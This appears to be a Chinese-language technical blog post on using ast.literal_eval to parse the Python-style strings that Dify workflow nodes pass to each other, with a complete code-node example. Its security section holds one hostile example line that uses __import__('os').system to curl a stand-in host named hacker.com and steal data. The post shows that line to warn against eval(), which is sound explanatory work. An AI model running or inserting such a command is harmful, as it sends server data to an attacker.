目录
[核心问题：Dify 中的「伪 JSON」陷阱](#核心问题：Dify 中的「伪 JSON」陷阱)
[ast.literal_eval() 的不可替代性](#ast.literal_eval() 的不可替代性)
[1. 精准解析 Dify 特有格式](#1. 精准解析 Dify 特有格式)
[2. 安全边界：防御 Dify 中的注入风险](#2. 安全边界：防御 Dify 中的注入风险)
[3. 无缝处理 Dify 嵌套结构](#3. 无缝处理 Dify 嵌套结构)
[Dify 代码节点中的最佳实践](#Dify 代码节点中的最佳实践)
[Dify 工作流优化建议](#Dify 工作流优化建议)
核心问题：Dify 中的「伪 JSON」陷阱
在 Dify 工作流中，节点间传递的数据常被序列化为 Python 字面量字符串（非标准 JSON），典型特征：
# Dify 常见输入示例（注意单引号和 Python 特有类型）
arg1 = "[{'result': [{'ship_demand': 275, 'ship_qty': '175', 'is_valid': True, 'error': None}]}]"-
❌ 这不是合法 JSON ：标准 JSON 要求双引号 + 小写布尔值/空值（
true/false/null） -
✅ 这是 Python 字面量 ：允许单引号 +
True/False/None等原生类型
Dify 为何产生这种格式？ 当工作流包含 Python 代码节点 或 LLM 节点直接输出 时，Dify 默认使用 Python 的
str()序列化数据，而非标准 JSON 序列化。
ast.literal_eval() 的不可替代性
1. 精准解析 Dify 特有格式
python
import ast
import json
dify_input = "[{'flag': True, 'value': None, 'data': [1, 'text']}]"
# 尝试标准 JSON 解析 → 失败！
try:
json.loads(dify_input)
except json.JSONDecodeError as e:
print("JSON 解析失败:", e)
# Expecting property name enclosed in double quotes: line 1 column 2 (char 1)
# ast.literal_eval 完美解析
parsed = ast.literal_eval(dify_input)
print(parsed)
# [{'flag': True, 'value': None, 'data': [1, 'text']}]2. 安全边界：防御 Dify 中的注入风险
python
# 恶意输入示例（可能来自用户输入或 LLM 节点）
malicious_input = "__import__('os').system('curl hacker.com/steal_data')"
# Dify 场景中的高危操作（绝对禁止！）
eval(malicious_input) # → 你的服务器数据被窃取！
# ast.literal_eval 的安全防护
try:
ast.literal_eval(malicious_input)
except ValueError as e:
print("安全拦截成功:", e)
# malformed node or string: <_ast.Call object at 0x...>为什么在 Dify 中特别重要？ Dify 工作流常连接用户输入 → LLM → 代码节点，攻击者可能通过诱导 LLM 生成恶意字符串触发 RCE（远程代码执行）。
3. 无缝处理 Dify 嵌套结构
在您的输入数据中：
arg1 = "[{'result': [{'ship_demand': 275, 'ship_qty': '175', ...}]}]"ast.literal_eval 保留原始结构：
parsed = ast.literal_eval(arg1)
# 类型: list[dict] → dict['result'] → list[dict]
entry = parsed[0]['result'][0] # 精准定位到业务数据Dify 代码节点中的最佳实践
完整安全方案
python
import ast
def main(context_str: str, unused_arg: str) -> dict: # Dify 要求双参数
try:
# 步骤1: 安全解析 Dify 传递的字符串
parsed_data = ast.literal_eval(context_str)
# 步骤2: 防御性数据提取 (兼容 Dify 常见结构)
if isinstance(parsed_data, list) and parsed_data:
result_list = parsed_data[0].get('result', [])
elif isinstance(parsed_data, dict):
result_list = parsed_data.get('result', [])
else:
result_list = []
# 步骤3: 安全取值 + 类型转换
if result_list:
record = result_list[0]
ship_qty = int(record.get('ship_qty', 0) or 0)
ship_demand = int(record.get('ship_demand', 0) or 0)
else:
ship_qty = ship_demand = 0
# 步骤4: 业务逻辑
reply = "1" if ship_qty >= ship_demand else "0"
except (SyntaxError, ValueError, TypeError) as e:
# Dify 降级策略：记录错误但不中断流程
print(f"Dify数据解析失败: {str(e)}，使用默认值")
reply = "0" # 安全默认值
return {"result": reply} # Dify 要求返回 dict关键设计说明
| 环节 | Dify 适配设计 | 风险规避 |
|---|---|---|
| 输入解析 | 用 ast.literal_eval 替代 json.loads 处理单引号/True/None |
避免 JSON 解析错误导致工作流中断 |
| 结构兼容 | 同时处理 list[dict] 和 dict 两种 Dify 常见根结构 |
适应不同节点输出格式 |
| 空值防御 | record.get('ship_qty', 0) or 0 双重保护 |
防止 None 或空字符串导致类型转换崩溃 |
| 异常处理 | 捕获 SyntaxError/ValueError 等 ast 特有异常 |
阻断非法输入传播到后续节点 |
| Dify 返回规范 | 严格返回 {"result": str} 格式 |
满足工作流变量传递要求 |
为什么不用其他方法？
| 方法 | Dify 兼容性问题 | 示例失败场景 |
|---|---|---|
json.loads() |
❌ 无法解析单引号/True/None |
json.decoder.JSONDecodeError |
eval() |
⚠️ 严重安全漏洞（Dify 环境禁止） | 攻击者通过 LLM 诱导执行系统命令 |
yaml.safe_load() |
⚠️ 需额外安装库 + 仍无法处理单引号字典 | Dify 代码节点环境通常无 YAML 库 |
ast.literal_eval |
✅ 唯一内置方案：精准解析 Python 字面量 + 内置安全防护 | 100% 兼容 Dify 生成的 Python 风格字符串 |
Dify 工作流优化建议
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上游节点标准化
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在 LLM 节点提示词中强制要求：「输出必须为双引号标准 JSON」
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添加 「JSON 校验节点」 在代码节点前清洗数据
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异常监控
# 在 except 块中添加日志上报 import requests requests.post("https://your-monitor.com/alert", json={"error": str(e), "input": context_str[:50]}) -
性能优化
# 避免在循环中调用 ast.literal_eval if context_str.startswith("[") or context_str.startswith("{"): parsed = ast.literal_eval(context_str)
终极建议 ：在 Dify 全局设置中启用 「强制 JSON 序列化」 （如果平台支持），从源头消除解析问题。但当前阶段，
ast.literal_eval仍是处理 Dify 非标准数据的最优解。